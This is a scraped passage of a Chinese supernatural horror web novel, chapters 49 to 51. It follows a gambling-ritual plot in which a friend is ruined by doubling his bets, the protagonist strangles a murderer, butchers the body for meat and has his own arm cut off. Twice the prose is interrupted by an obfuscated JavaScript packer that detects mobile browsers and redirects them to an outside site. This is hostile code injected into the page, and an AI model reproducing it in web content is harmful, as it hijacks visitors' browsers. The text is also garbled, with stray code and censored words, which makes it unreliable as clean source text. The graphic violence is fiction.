“这样只要赢一次之前输的就都能回本还能额外赚一个。赚的那个刚好买碗菜饭再加上免费米汤一天就能对付过去……听起来万无一失。” 成松云面露冷笑。关鹤则脑内算了算深以为然。 如果宋铮刚才用的是倍投第一次押1输1第二次押2输2第三次押4输4第四次押8得8。扣除之前输掉的7筹码正好赚1个。 可惜刚才宋铮手里筹码不够……等等筹码不够? 关鹤突然意识到了什么抬眼看向宋铮。 宋铮闭了闭眼:“最开始确实特别顺利。直到有一天阿清连续五局没中。” 方休唔了声:“累计输掉31筹码第六局要押32个。” “是啊。当时我们只剩4个筹码了我劝阿清每次押1个先凑合过去再说。但阿清没法接受他说只剩4个筹码的风险太高概率不可能这么邪门。” 宋铮垂下视线。 事情发展和方休猜测的差不多。 阿清背着意外致死的血债公开后代价不大。他信心满满地兑了1000筹码继续倍投。 ……然后阿清又连输五局。 第十局累计输掉了1023个筹码第十一局要押1024个。而此时整个小组的筹码再次回归个位数。 整个过程中宋铮试过苦劝。但筹码都在阿清手里阿清硬要继续他也没法强拦。 “50%的概率连续十次不中?不可能……这不现实……” 阿清失魂落魄地瘫坐在赌桌前,荷官脸上的笑容纹丝不动。1000多的筹码就这样被三枚骰子吞噬,没发出任何声响。 接下来,阿清又开始兑换。 他换掉了所有认识的同学和同事,换掉了光鲜的工作,还有名下的房产和全部存款。这些没关系,阿清说,只要能通过祭祀,他可以许愿得到很多钱。 ……如此,他硬是凑出了1024个筹码,满怀希望地押了下去。 第十一局,输。 累计输掉2047个筹码,如果继续倍投,需要押注2048个筹码。 但是整个小组已经一个筹码都没有了。 “概率不可能这么邪门。 阿清茫然地揪着头发,“概率不可能这么邪门……我要去换筹码…… “换你个头换!宋铮怒了,“**再换只能换家人!你疯了?! 阿清也怒了,双眼血红:“那我怎么办,我今天还没赢过!要是现在改押1筹码赢了,那我之前算什么,笑话吗??? 宋铮咬咬牙,他揪住阿清的领子,大步冲到服务台,兑掉了自己的血债。 宋铮的血债同样是意外致死,兑出来后,他寒声:“我借你筹码,每次只借一个,你给我去一个一个押。 阿清瞪了宋铮很久,有点神经质地笑了下,转向服务台:“我要兑掉挚爱之人。我有个青梅竹马的未婚妻,预备年底结婚。 宋铮:“**.你—— “因果没了就没了,大不了我出去重新追她,这些都可以挽回……阿清凸着眼睛,“能兑吗? “核查完毕,您确实深爱着您的未婚妻,真让人羡慕。 服务台的姑娘笑得温柔,“拿好,这是您的100筹码,您与您的爱人因果已清。 阿清拿着那个筹码发了会儿呆。 他和他的未婚妻相识十几年,一切却结束得这样轻巧……他总觉得不该这么轻巧。 许久,阿清喉头动了两下:“我再兑掉我的爷爷奶奶。 “他们孙辈很多,不止我这一个孙子。再说他们年龄也大了,老人家糊涂,忘了我也没什么…… 他小声说着,不知道解释给谁听。 “这是您的200筹码,您与您的祖父母因果已清。 阿清捧着300筹码,原地蹲了很久。筹码上的“100犹如三个瞳孔,它们带着古怪的温柔,始终盯着阿清的方向。 阿清没要宋铮的筹码,他把这300筹码直接押了下去。 这次阿清没有押大小,而是押点数总和为9、10、11、12,赔率1赔6。 ……这一次,阿清赢了。 关鹤听得惊诧:“赢了不 是很好吗?这样一来,他手上2100个筹码,彻底回本。 再加上宋铮兑出来的1000个筹码,接下来只要坚持一个一个押注,不至于一个月就变成这副样子。 方休没什么表情:“道理谁都懂。但你觉得起手输赢上千筹码的人,会再去一个一个押注吗? 关鹤愣住,不知道如何回答。 苦心坚守的规矩破了,舍弃人生的筹码换了,最后尝到了一局赢上千的甜头……人心也有破窗效应。很多事情一旦开了个头,注定会有第二次。 那边没等宋铮继续讲,小田竖起眉毛:“之后宋哥不让阿清管筹码了,阿清非觉得自己没错。说他当初要是听宋哥的话,那才会亏死。 “他说以后要玩‘技术含量高’的扑克,还拉走了组里一个人。我现在想起来就…… 宋铮摇摇头,阻止了小田。 他直接总结:“总之阿清有一次运气差,亲爹妈都兑换了。他换完后觉得再回人间也没意思,不如多赢筹码改善生活,在这永远住下去。 “于是他骗我们想归队,设计把我们的筹码骗光……至于怎么骗的,那是付费情报。 关鹤:“咦,他没死啊? 宋铮说得和缅怀**一样,他还以为阿清把人赌没了。 宋铮咧嘴一笑:“嗨,现在他欠了厚叔不少筹码。厚叔看中他的脑子,让他在手底下干活……哦,厚叔就那个胖子,他的事也是付费情报。 关鹤又有点紧张地看向方休。 方休本身就是孤儿,好像也没成家,他的人间羁绊比阿清还少。关鹤想象了会儿方休化身阿清,回头欺骗队友的景象,吓得冷汗直冒。 方休被关鹤瞄得想笑:“放心啦,我不可能赌的。 成松云始终没有任何反应,她只是静静听着,眼中看不出什么情绪。 简单的分享过后,宋铮带着他们转完了整个欢喜鑫天地。 这个赌场实在太大,比方休逛过的最夸张的商场还广阔,方休走路走得有点腿软。白双影时不时提一提此人的后衣领,省得此人东倒西歪。 可惜用处不大,方休还是时不时歪过来,小声嘟哝几声。 在悄悄抱怨灯光太亮之后,方休又问:“你说这里只有一只邪祟,那些荷官和工作人员又是什么? 白双影:“幻影。 看方休一头雾水地眨眼,白双影补充,“他们就像中秋厄里的行人。但欢喜厄比中秋厄强大许多,形成的幻影更加精巧。 “这次的厄这么强啊。方休伸出手,指尖擦过墙上的豪华壁纸。 “邪祟用不上因果。那些筹码兑换的因果,肯定被厄吞噬了。 白双影 顺口解释,“物件带执念,聚了因果便成‘厄’。厄积聚的因果越多,力量自然越强。” 方休表情眉头动了动:“那要是因果被收光了,生魂岂不是会变得没滋没味?那还怎么养你……咳,养鬼仙。” 他光见过鬼吃祭品修厄,还没见过厄和鬼抢祭品吃。工作环境简直零分,哪个厉鬼受得了这个。 白双影瞥他:“你还是先担心自己为好。” 方休神秘一笑:“山人自有妙计!” …… “我坚持我的看法,要赢一场,最保险的办法就是换掉一些熟人,然后抽一个筹码押大小。” 回到一层后,宋铮委婉地提示众人,“犯忌的风险还是太大了。” 方休笑盈盈地举手:“第一禁的‘每日必定赢一场’,只能是‘在欢喜鑫**赢一场’吗?” 听到这个问题,宋铮脸上露出些许怀念:“刚来这里的时候,阿清也提过这个问题。” “我们找了些一无所有的人私下打赌,甚至押上了法器食物,故意让对方赌赢。之后也试过掰手腕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705280|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之类有明确输赢的游戏。事实证明,都没用。” “‘赢一场’就是‘在欢喜鑫用筹码赌赢一场’,没有空子可钻。” 感慨完,他才意识到哪里不对:“这个也要收费——” 方休憋笑:“嗯嗯,这条单给你一只烧鸡。” 他并没有失望,第一条禁忌要是这么好应付,就不会有八百多人一直困在这了。 随即方休活动了一下手脚,再次走向赌大小的地方。 成松云皱起眉:“小方,你不是说不赌吗?你……” 结果她话还没说完,就见方休冲向角落里某个身影。他绕到那人背后,干脆利落地锁住了那人的咽喉。 那个男人也是“破产者联盟”的一员,身高得有一米九。然而他面黄肌瘦,看着比宋铮他们还虚弱。 被方休偷袭时,他正坐在椅子上发呆,花了好几秒才回过神。 方休身体用力抵着椅背,借着自身体重,将男人牢牢勒在原位。不出几分钟,那人连挣扎都没来得及挣扎,安静地**。 这一手动静不大不小,见有人轻描淡写地**,四周的人都是懵的。 宋铮当场吓住,他张开双臂,把俩队友鸡仔一样护在背后:“你你你这……” 方休没解释,他拿出自己的筹码,绕着尸体画了个圈,随即用目光打量四周。 果然,半分钟不到就有人赶到现场。那人身材如同铁塔,满脸戾气,一看就是祭品之一。 “小子,这里也有这里的规矩。”那壮汉声音低沉,“现在立刻解释。” 他双臂抱在胸前,肌肉紧绷,小臂比方休的大腿还粗 。 方休:“我跟他有私仇他杀了我的人。” 壮汉皱眉:“……继续。” “尚德宝四十一岁丑省籍贯。我知道他他在外头糟蹋并且杀了两个姑娘。其中一个叫海珍张海珍。那个时候她还在读研究生她说毕业就可以结婚的。” 方休死盯着来镇场子的人“他杀了我的人我有仇报仇不行吗?” 壮汉思考片刻像是在比对记忆。最后他只是啧了声:“这次算了下不为例。” 说完他就要去收拾那具尸体。 结果方休手一抹直接把那具死尸收进了乾坤袋。 “你什么意思?” 那壮汉表情立刻沉下来“我丑话说在前头。你要想**取肉对付禁忌或者卖**给别人换筹码可都是犯忌的!” 方休毫不示弱:“我只是想把仇人带回去**万段你凭什么管我?” 壮汉阴沉地盯了他一会儿:“我记住你了。” 方休:“您记性真好。” 壮汉气得转头就走。 宋铮第一次见到这样不管不顾的癫子:“那是厚叔的人你……唉……” 他求助地看向方休的同伴却发现关鹤和成松云也惊在原地说不出话。半天还是成松云挣扎着开口:“不是说不能伤人……” “欺诈、强迫、伤害他人以获取筹码或筹码商品将被视为偷窃筹码。” 方休背诵着欢喜鑫天地的规矩“也就是说直接**取肉不行**换筹码不行。哪怕**换**也算换取筹码商品还是不行。” “**私下换法器法器再卖出筹码可不可行我不知道。但就这个公寓的麻烦环境基本没有可操作性。” 成松云抿抿嘴:“是这样的只能砍自己的肉。” “……不还可以赠送。” 方休轻松地说道“如果我只是单纯** 和他猜的差不多这里并非彻底禁止暴力。 如果真的不能做出任何暴力行为之前宋铮就不会提醒他们“不要宣扬破坏厄”了。匆匆赶来的厚叔手下更是帮他印证了这一点。 在这里可以使用暴力也可以**。欢喜鑫如此和平只不过是使用暴力“无利可图”。 就算免费赠尸可以收买人心正常情况下能收买的不过是一天赢不了一场的边缘人。 这群人也就对于厚叔那种放贷者有点用处对普通人屁用没有。 ……不过那只是在所谓的“正常情况”下。 方休拍拍口袋:“这个男人虚了点但也有个小二百斤。成姐你和小关一人一半能撑八天左右。” 白双影微微蹙眉,关鹤陡然紧张:“方哥,那你呢?” 方休笑了笑:“我只能犯忌啊。” “要是八天后我还解不了厄,估计只剩个头了。到时候你们该干嘛干嘛,自己想办法。” 成松云:“……” 关鹤:“……” “先别忙着感动,我需要你们协助我。” 方休特地看了成松云一眼,“你俩千万别为我**。万一咱们产生**往来,被判定为隔天交易,那只能一起完蛋。” 白双影盯着方休,方休却始终没有回应他的注视,就像默认他不会在乎。 白双影沉默几秒,抓住还在圈子里游荡的生魂。 他不怎么愉快地咬了一口,当场凝固。随后他长袖挡脸,噎了两下,尽量文雅地吐了出来。 听到轻轻一声“呕”。方休风驰电掣地转身:“你怎么了?!” “难吃,吃不下。”白双影袖子掩住嘴巴,语气带着直白的不快。 方休:“……” 方休坚定:“我会努力在三天内解决这个厄的。” 白双影:“嗯。” …… 夜晚十一点半,赌场灯光逐渐熄灭。门厅处再次出现一片金光,方休冲成松云和关鹤点点头,一头扎进光里。 再睁眼,他回到了自己的山景房。 看到房内的变化,方休提提嘴角:“真贴心啊。” 房间中央多了张金色圆桌,桌子上摆着一把异常锋利的斩骨刀,以及一个大小正好的台秤。 方休摸摸自己的左臂,叹了口气。 “又要委屈你了。”他对它说。 第 50 章 清风徐来 第50章清风徐来 【两人的夜晚。】 方休把尚德宝的尸体从乾坤袋中放出,平摊在地板上。 山景房接近一半墙都是落地窗,明亮的月光铺满地面。寒光笼罩下,方休干脆地手起刀落。 嘭咚! 第一刀砍下了尸体的手,看到断面,方休咦了声。 刀刃锋利异常,劈砍面很干净。新鲜肌肉和断骨暴露在外,没有一滴血流出。仿佛他刚刚砍下的不是血肉,而是精细制造的蜡块。 可惜尚德宝被他杀了,方休没法问他感受如何。 不过他猜到这把斩骨刀会有特殊效果。 从祭祀的立场来说,它肯定希望他们活久一点,好贡献更多因果与血肉。要是祭品第一次犯忌就失血而亡,那是铁板钉钉的双输。 方休如同一位熟练的屠户,他飞快剁下二十斤肉,平分两堆,准备分给关鹤与成松云。这次只消耗了尸体一条半多的手臂,剩余尸体被方休收回乾坤袋。 收拾完毕后,方休又拿刀在自己的左臂上比了比。 他的个子有一米八,体重却不足一百二十斤,比那具虚弱的尸体还瘦。自己一条手臂够不够十斤,方休其实不是很确定。 而且…… “白双影,我要是把左臂剁了,异象技能还能用吗? 方休有些担忧,当初纸人正是把八卦符号印在了他的左臂上。 白双影沉默地靠近,指尖贴上方休左臂。“坎、“离两个符号立刻浮现,绕着他的指尖游动。 冰冷的指尖顺着皮肤挪移,从小臂到肩膀,又从肩膀滑到锁骨。白双影的手指按上脖颈时,方休一动不动。 他想说“可以停了,又莫名不想张嘴。 于是那指尖又游走到咽喉,下巴,最后停在方休左侧太阳穴。方休只觉得太阳穴处一阵温热,想必那两个符号再次隐入了皮肤。 只是白双影一路划过的部位也在灼烧,比太阳穴还要灼热。真神奇,他的鬼指尖明明是凉的。 方休微微抬头,注视着近在咫尺的白双影。 白双影与他对视片刻,淡色的嘴唇微微张开:“你说要把头留到最后,我便移到头上了。 “嗯嗯,很合适。 禁忌逼近,情势紧张,方休却又想笑了。 随后他挽起左边的袖子,又双手递出斩骨刀:“帮我个忙,我自己不好控制角度和力道。要是一刀没砍断,会很痛的。 白双影低头看着那把刀,刀身模模糊糊映着窗外的月亮。 “你可以让其他人类帮你。他缓声说道。 方休摇头:“小关还没成年呢,成姐又心软,下手不可能利 索……来吧,时间有限。 他的话语很平静,就像让白双影帮忙递一杯水。 白双影接过那把斩骨刀,它刚砍过尸体,却没沾上半点血迹或肉碎。他的指尖轻轻划过刀身,没有立刻动手:“这上面不仅有止血的术法,还有加重疼痛的诅咒。 说罢,他停了两秒,“如果你只是想要斩断手臂,我可以使用桃骨煞。 少见自家鬼主动提出建议,方休沉默几秒,露出微笑:“不行,这才第一天,我不能让其他人看出问题。 “无论是伤口断面,还是犯忌后的反应,我必须做到真实自然——倒不如说,越狼狈越好。 说完,他再次重复:“时间不多了,来…… 唰。 方休还没说完,左臂就飞了出去。白双影下手又稳又快,快到疼痛在几秒后才追上伤口。 白皙的手臂在地板上滚了两个圈,手指还在微微颤动。 白双影面无表情地拾起那条手臂,学方休的动作放在台秤上。 十斤**,一点不多,一点不少。 方休一步未动,他原地晃了晃,冷汗一下子打湿了T恤。 伤口被诅咒侵蚀,那尖锐的疼痛感出乎意料,就像他不是被砍下左臂,而是生生拔了一枚手掌大小的指甲。 方休熟练地咽下惨叫和呻.吟,却忍不住溢出的冷汗与急促的呼吸。他不由地弓着腰,整个人摇摇欲坠。 白双影缓缓放下斩骨刀,不发一言。 距零点还差十五分钟,敲门声准时响起。 方休一下子没事人似的直起腰,轻快地跑去开门。 袖子遮住了骇人的伤口,阴影盖住了他惨白的脸色。除了少了条手臂,多了些汗水,方休看起来一如平常。 进来的是关鹤与成松云,两人视线一下子看向方休空荡荡的左臂,脸色各有各的担忧。 方休:“怎么,还想看当众表演啊,我可是要收门票的。 趁两人还没开口,方休快速继续,“你们先进来**,然后立刻回各自的房间等着,完事了好好休息。天亮之后,咱们再去找宋铮他们。 关鹤:“方哥……疼吗? 他盯着方休空瘪下去的袖子,甚至忘了害怕地上的尸块。 方休笑:“砍的时候有点儿,现在好多了。行了快回去吧,小心真的犯忌。 关鹤抱起一堆碎胳膊,他强迫自己看了它们一会儿,像是下了决心。 “……方哥,我想好了。我不会赌的。 成松云则咬了咬嘴唇:“小方,谢谢。 方休继续笑:“没事。 门关上后,他几乎立刻倚上门板,整个人滑上地板。 幸亏没让成松云和关鹤一 起犯忌这也太疼了像是一直有火焰在灼烧伤口。 现在他知道为什么宋铮反复建议他们不要犯忌——“不赢则伤”的要求轻飘飘的实际上连他这个习惯疼痛的人都有点接受不了。 为了把他们扯进赌场祭祀还真是煞费苦心。 零点来临的那一瞬间 这次敲门的是一位英俊服务生。他肩宽腿长笑露八齿长相完美得像P出来的一看便是欢喜鑫的人。 他推着一辆金光闪闪的服务餐车餐车上空空如也。 “方先生您好我来取您的十斤**。” 他开朗地宣布“请您务必注意重量多不退少补哦!” 方休懒得跟幻影废话他指指台秤上的手臂:“自己拿。” 服务生也不恼。他彬彬有礼地取走手臂当着方休的面嗅了嗅。 “没有交易的味道检验合格。”他微笑着将手臂放入餐车。 方休准备目送这家伙离开。谁想到这位服务生原地不动依旧笑露八齿:“是这样的方先生。这十斤**我们将为您保留24小时。” “如果您在24小时内点单十斤**我们将免费帮您恢复身体疼痛会立刻停止哦!” 他用一种喜气洋洋的语气说着仿佛这是什么惊天大优惠。 方休疼得烦躁没好气道:“不需要。” 服务生还不罢休:“方先生别着急。我们注意到您这边存在大量血债。考虑您是第一次犯忌这边给您申请了优质客户特别优惠——如果您愿意兑换血债现在就可以换呢!” 说完他拿出一枚金灿灿的1000筹码叠加一枚10面值的筹码放在方休面前。 “您的手臂会立刻恢复同时享受欢喜鑫天地‘兑满100赠10’的活动!Surprise!” 方休:“……” 服务生又凑近了些俏皮地眨眨眼:“哦对了我们不提倡暴力。欢喜鑫内新增的血债不能兑换您需要在之前的血债里挑——” 方休忍无可忍:“滚!” “好的方先生晚安方先生祝您新的一天顺顺利利发大财!” 服务生的英俊笑脸毫无波动八颗牙齿始终外露。 房门关上的那一刻圆桌、台秤和斩骨刀同时消失。方休“哈”地笑了声直接倒上床。 “……白双影。”几分钟后他轻轻叫了声。 站在窗边的白双影:“嗯。” “我伤口好疼啊。”方休看着天花板“这次的厄果然很强。” “我知道。”白双影说。 “真的很疼。” “我知道。” “没别的意思我就说说。”方休躺 在床铺右侧,慢慢缩起身体,“是我让你砍的,我没有在怨你……只是说出来好受些…… “……嗯。 方休安静了一会儿,小声问:“尚德宝的生魂真的很难吃吗……? “他的因果几乎全空了。 白双影走到床铺左侧,坐下,“吃起来有股淡淡的怪味,口感又干又碎,像废渣。 方休没有回话,白双影扭头,发现他的人类已经闭了眼。 也是,白天一行人在公寓爬上爬下,晚上又连着逛了五个小时赌场。方休还抽空杀了个人,断了条手臂。 方休的身体本来就不健壮,如今疲惫加虚弱,这个反应也不奇怪。 ……可方休睡得并不安稳,每隔一两分钟就要动动身体。偶尔压到左臂断口,他整个人还会抽搐几下。 白双影俯下身体,拨了拨方休的额发,发现方休的头发基本全被汗湿,体温高得有些不正常。 习惯了动辄蹦跶的方休,眼看此人变得这么安静,白双影有些不习惯。 其实只要方休向欢喜厄屈服,这里比中秋祭祀更适合制造“长久的两人世界。但一想到他的人类会变成寡淡的“**,白双影直接否决了这个念头。 ……而且方休非常不喜欢这里,他想。 白双影离开床铺,走向那扇巨大的落地窗。 他一只手按上墙壁,悄悄解析祭祀场的构成法术。只是刚做了没一会儿,白双影背后突然一烫。 方休不知何时下了床,光脚走到他身后,现在正用额头抵着他的背。 “睡不着。方休嘀咕道,“太疼了,靠…… 屋里没有电,能做的事情不多。两人并排在落地窗前坐下,观赏窗外的山林月色。 方休用完好的手臂挨着白双影,右手一下下捏着白双影的袖子。他没有说话,不知道是无话可说,还是疼得无心开口。 他只是沉默地看着窗外景色,眼睛半天舍不得眨。 白双影忍不住看向方休。 其实方休揉袖子的手法不坏——温温热热轻轻揉捻,就像按摩。可是现在方休的掌心太烫了,他有些不习惯。 “你喜欢山林?白双影主动问。 方休:“是啊,不觉得很漂亮吗? 白双影想了想:“没什么特殊的。 方休笑了,紧接着身体振动扯到伤口,他猛地缩了缩身体。 “这样看确实差点事,隔着一大块玻璃,跟电子屏幕一样。他说,“山景最棒的是风、气味和声音。 方休伸出仅剩的右手,摸了摸面前的玻璃窗,“……说起来,这些也是幻象吗? “是依附于现实的幻象。 得知面前的是幻象,方 休眼里的光彩淡了点:“怪不得房间里的物品没法交换。 白双影提供了很好的情报,他必须立刻思考……思考…… “想看看吗?白双影按住方休捏袖子的手。 方休有点迟钝:“看什么? “真正的山林。白双影另一只手拿起桃骨煞,“就算是幻象,我也能够做得更好。 没等方休同意,他便用桃骨煞点了点地面。 霎时间,两人面前的玻璃消失了。 月色皎皎,星辰闪烁。 湿润的夜风吹入房内,两侧窗帘迅速鼓起。风里带着植物与泥土的气息,它裹挟着虫鸣与鸟啼,瞬间填满整个房间。 两人仿佛坐在林中小屋的院落里,而不是诡异又残酷的祭祀场地。 山风之中,方休转头看向白双影。 那双白眸同样看着他,其中依旧没什么情绪。幻境的风吹动了白双影的长发,几根发丝别上唇缝,又轻轻滑落。 方休一时忘记了疼痛,也忘记了如何说话。 白双影目不转睛地望着他:“你的状况太差,自然要看看更好的山景。 方休小心翼翼伸出手,他的指尖刚要碰到那颗红痣,又半途转弯,替白双影理了理长发。 发丝轻轻拂过白双影的脸,那双白眸还是眨也不眨。白双影没有呼吸,连眼皮都没颤一下,生动地诠释着何为“死物。 “再好的幻象也是……幻象。半晌,方休终于找回了声音。 白双影不以为意:“何必执着于这些。若是生死都在幻象里,幻象和真实有什么区别? 方休沉默许久,笑了:“也对。 他伸出仅剩的一条手臂,像是想要拥抱白双影。可惜陡然没了左臂,方休怎么都维持不住身体平衡,只能作罢。 最终他笨拙地倚住白双影,如同冻僵的小动物倚住车辆,汲取残余的温度。 “对了,我之前说张海珍小姐——就是被尚德宝害死的姑娘——是我的人,其实她是我的委托人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705281|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒适的山风中,方休又开始絮絮叨叨,“她确实打算毕业后结婚,但不是跟我结婚。她是死后才找到我的,我和她没有委托以外的关系…… 白双影:“? 话题跳跃得太快,他有点茫然。 “意思是,你还是明媒正娶第一位,我没有隐瞒真相续弦。 方休展示那枚发丝指环,没了左手,他把它移到了右手无名指。 白双影点点头。 随后他陷入沉思:“为什么不是我娶你? “……也可以啦。 方休又笑起来,笑声牵引伤口,他额上渗出细细的汗珠。 白双影看着满头冷汗的方休,袖子再次拂 了上去。凉滑的白衣滑过皮肤,方休整个人瞬间清爽不少。 “谢谢相公娘子官人夫人。方休欢快道,“来,挑个喜欢的! 白双影突然觉得嵬山神那句“谢上神简洁又有力,这个人类简直匪夷所思。 不过见方休的精神恢复了些许,他懒得计较。 “……开个玩笑。 方休顺势蹭了蹭他的肩膀,“咱们说回正事,既然这些房间都是‘依附于现实的幻象’,为什么区别这么大? 白双影:“你自己看。 他引动桃骨煞,一根若隐若现的白线显出身形,在室内飘荡游移。 方休的注意力果然跟着走了,他伸出右手,够了够那幽灵般的线:“这是什么? 白双影:“因果之线。这个房间牵连着某人的因果,它是根据那人的记忆构筑的。 方休努力探出手臂,抓住了那根白线。然而下一秒,它就在他的手中消散了。方休还没来得及发问,它又在不远处重新凝结,鬼魅般飘浮。 “别抓了,你与这房间没有因果,搭不上关系。白双影说。 方休失望:“哦…… 接下来他像是想到了什么,变得异常沉默。白双影也没有强聊,安静地把玩着桃骨煞。 许久,他发现方休的呼吸变得清浅规律,此人居然倚着他睡着了。 清风之中,方休的情况比刚才好了不少。他不再满头冷汗翻来覆去,但眉头仍然因为疼痛拧着,身体也时不时颤一下。 方休的右手还紧紧捏着他的袖子。 白双影看了看方休残缺的左肩,又瞧了瞧汗湿的床单。最终他抱住方休,轻轻站起身,走入几步外的浴缸。 随即他干脆地恢复了本体模样。 白双影淹没了方休大半个身体,手臂断口刚好被他的本体浸入。他将疼痛转为接近死亡的麻木,他知道方休需要这个。 人类休息不足,状态可是会变差的。 这次方休没有在睡眠中咀嚼他,此人只是放松身体,努力伸展右臂,勉强拥住了他。 “……谢谢。方休呢喃道,“谢谢你,白双影。 …… 次日,发现自己在白双影本体中醒来,方休差点当场弹出浴缸。 他整个人先是变得和T恤一样红,随后慢慢恢复白色,继而陷入沉思。 最后他严肃地说:“以后咱们就这么睡? 考虑到此人今晚又要砍自己一刀,白双影没有任何意见。 他特地观察了一会儿,发现方休还在冒冷汗,精神却比昨晚好多了。 ……疼痛诅咒分明还在生效,此人对于疼痛的适应力简直不正常。 另一边,方休仔细拉平衣服上的皱 褶,快乐地欣赏了会儿旭日下的山林。 “走,去找宋铮他们。”方休挺胸抬头。 然后他一开门,就发现门口蹲着三只蘑菇。宋铮蘑菇带着小田小李,眼巴巴地等他醒。 看来这三位踌躇一夜,还是觉得“吃不上饭”比“方休是个**魔”要恐怖。 成松云和关鹤也守在门外,两人四肢完好,就是眼底挂着黑眼圈。看到方休表情轻松,他们明显松了口气。 方休嘴角翘了翘,敞开房间门:“都进来吧,我刚打算去找你们呢。” 他提前在屋里备了饮食。一瞧见地板上满满的肉食、点心和饮料,宋铮的眼都绿了:“你想换多少情报?” 方休:“这顿请你们,就当昨晚的感谢。” 他刚说完,三人就嗖地冲上去,毫无形象地大嚼起来。一口扎实的肉吞下肚,宋铮眼里有了泪花,小田和小李干脆边吃边哭。 “别着急,吃完还有。”方休看得有点心酸,这群人得吃了多久米汤配菜饭啊。 宋铮一边咀嚼,一边努力发出声音:“只要,唔唔,你们包饭,唔唔,我们可以提供一切帮助……” 方休扬起眉毛:“不怕我动手**了?” 宋铮赶忙咽下食物:“嗨,昨晚事情太突然,我没反应过来。其实那个男的兑过血债——血债兑出来,罪行当众播放,和你说的分毫不差。” “那种垃圾死不足惜,你报仇我一万个支持!”小田哽咽着吞点心。 “……你们先吃,吃完再说。”方休有点怕这三位当场噎死。 他特地转过身,拉过自己的同伴:“你们昨晚怎么样?” 关鹤:“有个女服务生来我房间,带走了那堆**。她还闻了闻,说没有交易的味道。” 方休:“没提别的?” “她阴阳了我一句,说‘凡事要靠自己,你这样把不到妹’。” 说到这里,关鹤皱了皱脸,“莫名其妙,谁会在这种场合谈恋爱啊?” 方休:“……也不能这么说,‘谈恋爱’和‘纯发情’不一样。” 关鹤:“?” 方休移开目光:“你继续。” “没了,她说完就走了。”关鹤说。 成松云自觉接上:“我这边来了个男的,过程和小关差不多。但他拿完肉就走了,什么都没讲。” 说罢她垂下眼,“可能他们也知道,说什么我也不会赌。” 方休眉毛跳了跳。 去这两位房间的服务生都是异性,怎么就他这边是同性? 他可不觉得八颗牙齿先生有半毛钱吸引力,一想到那堆推销话术他就头疼,恨不得在对方脸上刻个“退订”。 ……算了,这种细节不重要。 方休张开嘴,刚要整理自己的发现,成松云却继续了下去。 “以防万一,昨晚我在自己家过的夜。” 她深吸一口气,“……然后发生了很可怕的事。” 第 51 章 因果之线 第51章因果之线 【方休的猜测。】 昨天回到“自家 一切都是她熟悉的模样,窗外的景色也和记忆中完全一致,她甚至能看到楼下来来往往的车辆。 纸人奠五声称“房间保证身心健康,成松云只觉得荒谬。环境的混淆让人毛骨悚然,有那么一会儿,她简直要怀疑自己疯了,有关祭祀的一切全是她的妄想。 要不是方休给她的尸块摊在茶几上,她真的会失去理智。 零点时分,一位英俊沉稳的服务生敲开她的房门,彬彬有礼地取走**。 之后,成松云又陷入了怀疑一切的恍惚。她时不时打开门往外看,确定自己并不是在真正的家里。 就这样折腾了半宿,她坐在门口睡着了。 半睡半醒间,她听到房内有声音。有人在客厅走来走去,叹气。 那叹气声异常熟悉……对了,是她的丈夫孙进峰……老孙…… ……可是老孙已经**,被她间接杀死的。 成松云猛地清醒过来,望向客厅。 她死去的丈夫站在沙发前,脑壳后面滴滴答答淌着黑血。 “钱呢?黑暗中,他的语调毫无起伏,“我放在这的钱呢? 这一定是噩梦,成松云心想。她咽了口唾沫,使劲闭上眼。 脚步声渐近,空气越来越冷。终于,乱七八糟的声音消失了。成松云松了口气,睁开眼—— 孙进峰变形的脸几乎要贴上成松云的脸,浑浊的瞳孔死死盯着她。 “钱呢? 他问,“钱呢?钱呢?钱呢?钱…… 问到后面,他自己也茫然起来,像是忘记了“钱是什么东西。他只是愣愣地看着成松云,嘴巴无声地张张合合,牙齿间沾满污血。 成松云吓得叫都不敢叫,她拼命挥舞双手,想推开这个可怖的幻象——噩梦——或者随便什么东西,可她压根碰不到他。 “你已经**!你已经**——她抱住脑袋,眼前一阵阵发黑,连怨鬼盾都忘了用。 ……然后成松云醒了过来,不知道是从睡梦中惊醒,还是从昏迷中惊醒。 窗外的天空已经发亮,家里的钟表指向四点半多。 她面前没有鬼魂,客厅里也没有鬼魂。 看着熟悉的装修,成松云又陷入了短暂的迷茫——刚才的是梦吗?祭祀真的存在吗?她真的没有精神**? 成松云扶着门口鞋柜,摇摇晃晃站起身。一家三口的合影还放在鞋柜上,幸福的笑脸格外刺目。 成松云哆嗦着伸出手,本能地拿起相片。 相框玻璃面的反射中,她 看见自己左肩上依旧伸着一张脸……死去丈夫的脸。 **的五官抽搐不停嘴巴胡乱张合牙齿叩得嗒嗒作响。 嗒嗒声刺入左耳脑袋反应过来前成松云就逃离了房间。 她宁愿待在那条无尽循环的走廊里也不想再踏入那个房间一步。 就这样成松云一直在方休门口坐到天亮。 …… 关鹤听得有点哆嗦:“成阿姨你今晚交、交完肉立刻来我房间吧……” 他的房间平静极了。只是一天下来冲击太多关鹤合不上眼。相比成松云他的失眠理由平平无奇。 方休那边听完讲述居然起了兴趣:“三场祭祀了我还没见过这么老派的鬼故事呢!稍后我过去看看 那口气跃跃欲试活像成松云家里闹的不是鬼而是蟑螂。 成松云心情复杂:“……” 此人一张嘴她满心的惊恐全成了无力。 